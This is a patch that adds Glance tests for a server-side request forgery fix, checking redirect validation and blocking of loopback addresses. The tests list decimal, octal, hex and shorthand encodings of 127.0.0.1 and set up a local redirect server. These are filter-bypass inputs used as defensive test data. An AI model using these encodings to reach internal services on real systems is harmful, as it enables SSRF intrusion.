++    def test_web_download_redirect_validation(self):
++        """Test that redirect destinations are validated."""
++        self.config(allowed_ports=[80], group='import_filtering_opts')
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.start_servers(**self.__dict__.copy())
++
++        # Create an image
++        path = self._url('/v2/images')
++        headers = self._headers({'content-type': 'application/json'})
++        data = jsonutils.dumps({
++            'name': 'redirect-test', 'type': 'kernel',
++            'disk_format': 'aki', 'container_format': 'aki'})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.CREATED, response.status_code)
++        image = jsonutils.loads(response.text)
++        image_id = image['id']
++
++        # Try to import with redirect to disallowed host
++        # The redirect destination should be validated and rejected
++        # Create a local redirect server
++        def _get_redirect_handler_class():
++            class RedirectHTTPRequestHandler(
++                    http_server.BaseHTTPRequestHandler):
++                def do_GET(self):
++                    self.send_response(http.FOUND)
++                    self.send_header('Location', 'http://127.0.0.1:80/')
++                    self.end_headers()
++                    return
++
++                def log_message(self, *args, **kwargs):
++                    return
++
++        server_address = ('127.0.0.1', 0)
++        handler_class = _get_redirect_handler_class()
++        redirect_httpd = http_server.HTTPServer(server_address, handler_class)
++        redirect_port = redirect_httpd.socket.getsockname()[1]
++        redirect_thread = 
threading.Thread(target=redirect_httpd.serve_forever)
++        redirect_thread.daemon = True
++        redirect_thread.start()
++
++        redirect_uri = 'http://127.0.0.1:%s/' % redirect_port
++        path = self._url('/v2/images/%s/import' % image_id)
++        headers = self._headers({
++            'content-type': 'application/json',
++            'X-Roles': 'admin',
++        })
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': redirect_uri
++        }})
++
++        # Import request may be accepted (202) but should fail during
++        # processing when redirect destination is validated
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.ACCEPTED, response.status_code)
++
++        # Clean up redirect server
++        redirect_httpd.shutdown()
++        redirect_httpd.server_close()
++
++        # Wait for the task to process and verify it failed
++        # The redirect validation in get_image_data_iter should prevent
++        # access to disallowed host (127.0.0.1)
++        time.sleep(5)  # Give task time to process
++
++        # Verify the task failed due to redirect validation
++        path = self._url('/v2/images/%s/tasks' % image_id)
++        response = requests.get(path, headers=self._headers())
++        self.assertEqual(http.OK, response.status_code)
++        tasks = jsonutils.loads(response.text)['tasks']
++        tasks = sorted(tasks, key=lambda t: t['updated_at'])
++        self.assertGreater(len(tasks), 0)
++        task = tasks[-1]
++        self.assertEqual('failure', task['status'])
++
++        # Verify the image status is still queued (not active)
++        # since the import failed - this proves the SSRF was prevented
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.get(path, headers=self._headers())
++        self.assertEqual(http.OK, response.status_code)
++        image = jsonutils.loads(response.text)
++        self.assertEqual('queued', image['status'])
++        # Image should not have checksum or size since import failed
++        # If checksum/size exist, it means data was downloaded (SSRF 
succeeded)
++        self.assertIsNone(image.get('checksum'))
++        # Image should not have size since import failed
++        self.assertIsNone(image.get('size'))
++
++        # Clean up
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.delete(path, headers=self._headers())
++        self.assertEqual(http.NO_CONTENT, response.status_code)
++
++        self.stop_servers()
++
++    def test_web_download_ip_normalization(self):
++        """Test that encoded IP addresses are normalized and blocked."""
++        self.config(allowed_ports=[80], group='import_filtering_opts')
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.start_servers(**self.__dict__.copy())
++
++        # Create an image
++        path = self._url('/v2/images')
++        headers = self._headers({'content-type': 'application/json'})
++        data = jsonutils.dumps({
++            'name': 'ip-encoding-test', 'type': 'kernel',
++            'disk_format': 'aki', 'container_format': 'aki'})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.CREATED, response.status_code)
++        image = jsonutils.loads(response.text)
++        image_id = image['id']
++
++        # Test that encoded IP (2130706433 = 127.0.0.1) is blocked
++        # after normalization
++        encoded_ip_uri = 'http://2130706433:80/'
++        path = self._url('/v2/images/%s/import' % image_id)
++        headers = self._headers({
++            'content-type': 'application/json',
++            'X-Roles': 'admin',
++        })
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': encoded_ip_uri
++        }})
++        # Should be rejected because encoded IP normalizes to 127.0.0.1
++        # which is in disallowed_hosts
++        # Validation happens at API level, so should return 400
++        response = requests.post(path, headers=headers, data=data)
++        # Should be rejected with 400 Bad Request
++        self.assertEqual(400, response.status_code)
++
++        # Test octal integer encoded IP (017700000001 = 127.0.0.1)
++        octal_int_uri = 'http://017700000001:80/'
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': octal_int_uri
++        }})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(400, response.status_code)
++
++        # Test octal dotted-decimal encoded IP (0177.0.0.01 = 127.0.0.1)
++        octal_dotted_uri = 'http://0177.0.0.01:80/'
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': octal_dotted_uri
++        }})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(400, response.status_code)
++
++        # Clean up
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.delete(path, headers=self._headers())
++        self.assertEqual(http.NO_CONTENT, response.status_code)
++
++        self.stop_servers()
++
+     def test_image_lifecycle(self):
+         # Image list should be empty
+         self.api_server.show_multiple_locations = True
+Index: glance/glance/tests/unit/async_/flows/test_api_image_import.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_api_image_import.py
++++ glance/glance/tests/unit/async_/flows/test_api_image_import.py
+@@ -25,6 +25,7 @@ import taskflow
+ import glance.async_.flows.api_image_import as import_flow
+ from glance.common import exception
+ from glance.common.scripts.image_import import main as image_import
++from glance.common.scripts import utils as script_utils
+ from glance import context
+ from glance.domain import ExtraProperties
+ from glance import gateway
+@@ -1176,6 +1177,11 @@ class TestImportMetadata(test_utils.Base
+             'extra_metadata': 'hello',
+             'size': '12345'
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1184,6 +1190,7 @@ class TestImportMetadata(test_utils.Base
+             'https://other.cloud.foo/image/v2/images/%s' % (
+                 IMAGE_ID1),
+             headers={'X-Auth-Token': self.context.auth_token})
++        mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+         action.set_image_attribute.assert_called_once_with(
+             disk_format='qcow2',
+@@ -1212,8 +1219,11 @@ class TestImportMetadata(test_utils.Base
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+     def test_execute_fail_remote_glance_unreachable(self, mock_gge, mock_r):
+         action = self.wrapper.__enter__.return_value
+-        mock_r.urlopen.side_effect = urllib.error.HTTPError(
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        mock_opener = mock.MagicMock()
++        mock_opener.open.side_effect = urllib.error.HTTPError(
+             '/file', 400, 'Test Fail', {}, None)
++        mock_r.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1231,6 +1241,11 @@ class TestImportMetadata(test_utils.Base
+         mock_json.loads.return_value = {
+             'status': 'queued',
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "queued"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1254,6 +1269,11 @@ class TestImportMetadata(test_utils.Base
+             'os_hash': 'hash',
+             'extra_metadata': 'hello',
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1262,6 +1282,7 @@ class TestImportMetadata(test_utils.Base
+             'https://other.cloud.foo/image/v2/images/%s' % (
+                 IMAGE_ID1),
+             headers={'X-Auth-Token': self.context.auth_token})
++        mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+         action.set_image_attribute.assert_called_once_with(
+             disk_format='qcow2',
+@@ -1271,6 +1292,71 @@ class TestImportMetadata(test_utils.Base
+             'os_hash': 'hash'
+         })
+ 
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_import_metadata_redirect_validation(self, mock_gge,
++                                                 mock_request):
++        """Test redirect destinations are validated during metadata fetch."""
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
++                                           self.context, self.wrapper,
++                                           self.import_req)
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = exception.ImportTaskError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/";)
++        mock_request.build_opener.return_value = mock_opener
++        self.assertRaises(exception.ImportTaskError, task.execute)
++        # Verify SafeRedirectHandler is used
++        mock_request.build_opener.assert_called_once()
++        # Verify the handler passed is SafeRedirectHandler
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be used for redirect validation")
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.flows.api_image_import.json')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_import_metadata_uses_safe_redirect_handler(self, mock_gge,
++                                                        mock_json,
++                                                        mock_request):
++        """Test that SafeRedirectHandler is used and allows valid 
redirects."""
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        mock_json.loads.return_value = {
++            'status': 'active',
++            'disk_format': 'qcow2',
++            'container_format': 'bare',
++            'size': '12345'
++        }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
++        task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
++                                           self.context, self.wrapper,
++                                           self.import_req)
++        # Execute should succeed with valid redirect
++        result = task.execute()
++        # Verify build_opener was called with SafeRedirectHandler
++        mock_request.build_opener.assert_called_once()
++        call_args = mock_request.build_opener.call_args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++        # Verify execution succeeded (handler allows valid redirects)
++        self.assertEqual(12345, result)
++
+     def test_revert_rollback_metadata_value(self):
+         action = self.wrapper.__enter__.return_value
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+Index: glance/glance/tests/unit/async_/flows/test_glance_download.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_glance_download.py
++++ glance/glance/tests/unit/async_/flows/test_glance_download.py
+@@ -22,7 +22,8 @@ from oslo_utils.fixture import uuidsenti
+ 
+ from glance.async_.flows._internal_plugins import glance_download
+ from glance.async_.flows import api_image_import
+-import glance.common.exception
++from glance.common import exception
++from glance.common.scripts import utils as script_utils
+ import glance.context
+ from glance import domain
+ import glance.tests.utils as test_utils
+@@ -72,37 +73,49 @@ class TestGlanceDownloadTask(test_utils.
+         self.image_repo.get.return_value = mock.MagicMock(
+             extra_properties={'os_glance_import_task': self.task_id})
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download(self, mock_gge, mock_add):
++    def test_glance_download(self, mock_gge, mock_add, mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
++            mock_opener = mock.MagicMock()
++            mock_response = mock.MagicMock()
++            mock_opener.open.return_value = mock_response
++            mock_request.build_opener.return_value = mock_opener
+             mock_add.return_value = ["path", 12345]
+             self.assertEqual(glance_download_task.execute(12345), "path")
+             mock_add.assert_called_once_with(
+                 self.image_id,
+-                mock_request.urlopen.return_value, 0)
++                mock_response, 0)
+             mock_request.Request.assert_called_once_with(
+                 'https://other.cloud.foo/image/v2/images/%s/file' % (
+                     uuidsentinel.remote_image),
+                 headers={'X-Auth-Token': self.context.auth_token})
++            mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download_failed(self, mock_gge, mock_add):
++    def test_glance_download_failed(self, mock_gge, mock_add,
++                                    mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
+-            mock_request.urlopen.side_effect = urllib.error.HTTPError(
++            mock_opener = mock.MagicMock()
++            mock_opener.open.side_effect = urllib.error.HTTPError(
+                 '/file', 400, 'Test Fail', {}, None)
++            mock_request.build_opener.return_value = mock_opener
+             self.assertRaises(urllib.error.HTTPError,
+                               glance_download_task.execute,
+                               12345)
+@@ -127,21 +140,28 @@ class TestGlanceDownloadTask(test_utils.
+                           glance_download_task.execute, 12345)
+         mock_request.assert_not_called()
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download_size_mismatch(self, mock_gge, mock_add):
++    def test_glance_download_size_mismatch(self, mock_gge, mock_add,
++                                           mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
++            mock_opener = mock.MagicMock()
++            mock_response = mock.MagicMock()
++            mock_opener.open.return_value = mock_response
++            mock_request.build_opener.return_value = mock_opener
+             mock_add.return_value = ["path", 1]
+             self.assertRaises(glance.common.exception.ImportTaskError,
+                               glance_download_task.execute, 12345)
+             mock_add.assert_called_once_with(
+                 self.image_id,
+-                mock_request.urlopen.return_value, 0)
++                mock_response, 0)
+             mock_request.Request.assert_called_once_with(
+                 'https://other.cloud.foo/image/v2/images/%s/file' % (
+                     uuidsentinel.remote_image),
+@@ -165,3 +185,70 @@ class TestGlanceDownloadTask(test_utils.
+         mock_validate.assert_called_once_with(
+             'https://other.cloud.foo/image/v2/images/%s/file' % (
+                 uuidsentinel.remote_image))
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_glance_download_redirect_validation(self, mock_gge,
++                                                 mock_request,
++                                                 mock_getaddrinfo):
++        """Test redirect destinations are validated during image download."""
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        glance_download_task = glance_download._DownloadGlanceImage(
++            self.context, self.task.task_id, self.task_type,
++            self.action_wrapper, ['foo'],
++            'RegionTwo', uuidsentinel.remote_image, 'public')
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = exception.ImportTaskError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/";)
++        mock_request.build_opener.return_value = mock_opener
++        self.assertRaises(exception.ImportTaskError,
++                          glance_download_task.execute, 12345)
++        # Verify SafeRedirectHandler is used
++        mock_request.build_opener.assert_called_once()
++        # Verify the handler passed is SafeRedirectHandler
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be used for redirect validation")
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    @mock.patch.object(filesystem.Store, 'add')
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_glance_download_uses_safe_redirect_handler(
++            self, mock_gge, mock_request, mock_add, mock_getaddrinfo):
++        """Test that SafeRedirectHandler is used and allows valid 
execution."""
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        glance_download_task = glance_download._DownloadGlanceImage(
++            self.context, self.task.task_id, self.task_type,
++            self.action_wrapper, ['foo'],
++            'RegionTwo', uuidsentinel.remote_image, 'public')
++        mock_opener = mock.MagicMock()
++        mock_response = mock.MagicMock()
++        mock_opener.open.return_value = mock_response
++        mock_request.build_opener.return_value = mock_opener
++        mock_add.return_value = ["path", 12345]
++        result = glance_download_task.execute(12345)
++        # Verify build_opener was called with SafeRedirectHandler
++        mock_request.build_opener.assert_called_once()
++        # Verify SafeRedirectHandler was passed
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++        # Verify execution succeeded (handler allows valid execution)
++        self.assertEqual("path", result)
+Index: glance/glance/tests/unit/async_/flows/test_import.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_import.py
++++ glance/glance/tests/unit/async_/flows/test_import.py
+@@ -17,7 +17,6 @@ import io
+ import json
+ import os
+ from unittest import mock
+-import urllib
+ 
+ import glance_store
+ from oslo_concurrency import processutils as putils
+@@ -371,9 +370,15 @@ class TestImportTask(test_utils.BaseTest
+         self.img_repo.get.return_value = self.image
+         img_factory.new_image.side_effect = create_image
+ 
+-        with mock.patch.object(urllib.request, 'urlopen') as umock:
+-            content = b"TEST_IMAGE"
+-            umock.return_value = io.BytesIO(content)
++        # Mock get_image_data_iter to avoid actual network calls
++        # and to work with our SafeRedirectHandler changes
++        content = b"TEST_IMAGE"
++        mock_response = io.BytesIO(content)
++        mock_response.headers = {}
++
++        with mock.patch(
++                'glance.common.scripts.utils.get_image_data_iter') as umock:
++            umock.return_value = mock_response
+ 
+             with mock.patch.object(import_flow, "_get_import_flows") as imock:
+                 imock.return_value = (x for x in [])
+Index: glance/glance/tests/unit/async_/flows/test_ovf_process.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_ovf_process.py
++++ glance/glance/tests/unit/async_/flows/test_ovf_process.py
+@@ -18,10 +18,12 @@ import shutil
+ import tarfile
+ import tempfile
+ from unittest import mock
++import urllib.error
+ 
+ from defusedxml.ElementTree import ParseError
+ 
+ from glance.async_.flows import ovf_process
++from glance.common import exception
+ import glance.tests.utils as test_utils
+ from oslo_config import cfg
+ 
+@@ -164,3 +166,56 @@ class TestOvfProcessTask(test_utils.Base
+         iextractor = ovf_process.OVAImageExtractor()
+         with open(ova_file_path, 'rb') as ova_file:
+             self.assertRaises(ParseError, iextractor._parse_OVF, ova_file)
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_uri_validation_fails(self, mock_validate):
++        """Test that disallowed URIs raise ImportTaskError"""
++        mock_validate.return_value = False
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        self.assertRaises(exception.ImportTaskError,
++                          oprocess._get_ova_iter_objects,
++                          'http://127.0.0.1:5000/package.ova')
++        mock_validate.assert_called_once_with(
++            'http://127.0.0.1:5000/package.ova')
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_uri_validation_passes(self, mock_validate,
++                                                        mock_request):
++        """Test that allowed URIs use SafeRedirectHandler"""
++        mock_validate.return_value = True
++        mock_opener = mock.MagicMock()
++        mock_response = mock.MagicMock()
++        mock_opener.open.return_value = mock_response
++        mock_request.build_opener.return_value = mock_opener
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        result = oprocess._get_ova_iter_objects(
++            'http://example.com/package.ova')
++        self.assertEqual(mock_response, result)
++        mock_validate.assert_called_once_with(
++            'http://example.com/package.ova')
++        mock_request.build_opener.assert_called_once()
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_redirect_validation(self, mock_validate,
++                                                      mock_request):
++        """Test that redirects to disallowed URLs are blocked"""
++        # First call (initial URL) passes validation
++        # Second call (redirect destination) fails validation
++        mock_validate.side_effect = [True, False]
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = urllib.error.URLError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/package.ova";)
++        mock_request.build_opener.return_value = mock_opener
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        self.assertRaises(urllib.error.URLError,
++                          oprocess._get_ova_iter_objects,
++                          'http://example.com/package.ova')
++        mock_validate.assert_called_once_with(
++            'http://example.com/package.ova')
++        mock_request.build_opener.assert_called_once()
+Index: glance/glance/tests/unit/common/scripts/test_scripts_utils.py
+===================================================================
+--- glance.orig/glance/tests/unit/common/scripts/test_scripts_utils.py
++++ glance/glance/tests/unit/common/scripts/test_scripts_utils.py
+@@ -15,6 +15,8 @@
+ 
+ from unittest import mock
+ import urllib
++import urllib.error
++import urllib.request
+ 
+ from glance.common import exception
+ from glance.common.scripts import utils as script_utils
+@@ -230,3 +232,110 @@ class TestCallbackIterator(test_utils.Ba
+         # call the callback with that.
+         callback.assert_has_calls([mock.call(2, 2),
+                                    mock.call(1, 3)])
++
++
++class TestSafeRedirectHandler(test_utils.BaseTestCase):
++    """Test SafeRedirectHandler for redirect validation."""
++
++    def setUp(self):
++        super(TestSafeRedirectHandler, self).setUp()
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_redirect_to_allowed_url(self, mock_validate):
++        """Test redirect to allowed URL is accepted."""
++        mock_validate.return_value = True
++        handler = script_utils.SafeRedirectHandler()
++
++        req = mock.Mock()
++        req.full_url = 'http://example.com/redirect'
++        fp = mock.Mock()
++        headers = mock.Mock()
++
++        # Redirect to allowed URL
++        # redirect_request should call super().redirect_request
++        # which returns a request
++        with mock.patch.object(urllib.request.HTTPRedirectHandler,
++                               'redirect_request') as mock_super:
++            mock_super.return_value = mock.Mock()
++            result = handler.redirect_request(
++                req, fp, 302, 'Found', headers, 'http://allowed.com/target'
++            )
++
++        mock_validate.assert_called_once_with('http://allowed.com/target')
++        # Should return a request object (not None)
++        self.assertIsNotNone(result)
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_redirect_to_disallowed_url(self, mock_validate):
++        """Test redirect to disallowed URL raises error."""
++        mock_validate.return_value = False
++        handler = script_utils.SafeRedirectHandler()
++
++        req = mock.Mock()
++        req.full_url = 'http://example.com/redirect'
++        fp = mock.Mock()
++        headers = mock.Mock()
++
++        # Redirect to disallowed URL should raise ImportTaskError
++        self.assertRaises(
++            exception.ImportTaskError,
++            handler.redirect_request,
++            req, fp, 302, 'Found', headers, 'http://127.0.0.1:5000/'
++        )
++
++        mock_validate.assert_called_once_with('http://127.0.0.1:5000/')
++
++
++class TestGetImageDataIter(test_utils.BaseTestCase):
++    """Test get_image_data_iter with redirect validation."""
++
++    def setUp(self):
++        super(TestGetImageDataIter, self).setUp()
++
++    @mock.patch('builtins.open', create=True)
++    def test_get_image_data_iter_file_uri(self, mock_open):
++        """Test file:// URI handling."""
++        mock_file = mock.Mock()
++        mock_open.return_value = mock_file
++
++        result = script_utils.get_image_data_iter("file:///tmp/test.img")
++
++        mock_open.assert_called_once_with("/tmp/test.img", "rb")
++        self.assertEqual(result, mock_file)
++
++    @mock.patch('urllib.request.build_opener')
++    def test_get_image_data_iter_http_uri(self, mock_build_opener):
++        """Test HTTP URI handling with redirect validation."""
++        mock_opener = mock.Mock()
++        mock_response = mock.Mock()
++        mock_opener.open.return_value = mock_response
++        mock_build_opener.return_value = mock_opener
++
++        result = script_utils.get_image_data_iter("http://example.com/image";)
++
++        # Should use build_opener with SafeRedirectHandler
++        mock_build_opener.assert_called_once()
++        # Check that SafeRedirectHandler was passed as an argument
++        call_args = mock_build_opener.call_args
++        # build_opener can be called with *args or keyword args
++        # Check both positional and keyword arguments
++        found_handler = False
++        if call_args.args:
++            found_handler = any(
++                isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args)
++        if not found_handler and call_args.kwargs:
++            found_handler = any(
++                isinstance(v, script_utils.SafeRedirectHandler)
++                for v in call_args.kwargs.values())
++        # Also check if it's passed as a handler class (not instance)
++        if not found_handler:
++            found_handler = (
++                script_utils.SafeRedirectHandler in call_args.args)
++
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++
++        mock_opener.open.assert_called_once_with("http://example.com/image";)
++        self.assertEqual(result, mock_response)
+Index: glance/glance/tests/unit/common/test_utils.py
+===================================================================
+--- glance.orig/glance/tests/unit/common/test_utils.py
++++ glance/glance/tests/unit/common/test_utils.py
+@@ -15,6 +15,8 @@
+ #    under the License.
+ 
+ import io
++import ipaddress
++import socket
+ import tempfile
+ from unittest import mock
+ 
+@@ -1013,3 +1015,179 @@ class ImportURITestCase(test_utils.BaseT
+                         group='import_filtering_opts')
+             self.assertTrue(utils.validate_import_uri("ftp://foo.com:8484";))
+             mock_run.assert_called_once()
++
++    def test_validate_import_uri_ip_rejection(self):
++        """Test that encoded IP addresses are rejected (not normalized)."""
++        # Test that standard IP is blocked when in blacklist
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        self.assertFalse(utils.validate_import_uri("http://127.0.0.1:80/";))
++
++        # Test that encoded IP (decimal) is rejected
++        result = utils.validate_import_uri("http://2130706433:80/";)
++        self.assertFalse(result)
++
++        # Test that shorthand IP addresses are rejected
++        self.assertFalse(utils.validate_import_uri("http://127.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://10.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://192.168.1:80/";))
++
++        # Test with allowed host - encoded IP should still be rejected
++        self.config(disallowed_hosts=[],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.assertTrue(utils.validate_import_uri("http://127.0.0.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://2130706433:80/";))
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    def test_normalize_hostname(self, mock_getaddrinfo):
++        """Test the normalize_hostname function."""
++        # Test standard IPv4 - should return normalized
++        result = utils.normalize_hostname("127.0.0.1")
++        self.assertEqual(result, "127.0.0.1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test standard IPv4 with different format - should normalize
++        result = utils.normalize_hostname("192.168.1.1")
++        self.assertEqual(result, "192.168.1.1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test encoded IP (decimal) - should be rejected (fails isdigit check)
++        result = utils.normalize_hostname("2130706433")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test hex encoded IP - should be rejected (DNS resolution fails)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = socket.gaierror(
++            "Name or service not known")
++        result = utils.normalize_hostname("0x7f000001")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_called_once_with("0x7f000001.", 80)
++
++        # Test octal integer encoded IP - should be rejected
++        # (fails isdigit check)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("017700000001")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test octal dotted-decimal encoded IP - should be rejected
++        # (all digits/dots)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("0177.0.0.01")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test mixed octal/decimal dotted-decimal - should be rejected
++        # (all digits/dots)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("0177.0.0.1")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test IPv6 address - should normalize to standard format
++        mock_getaddrinfo.reset_mock()
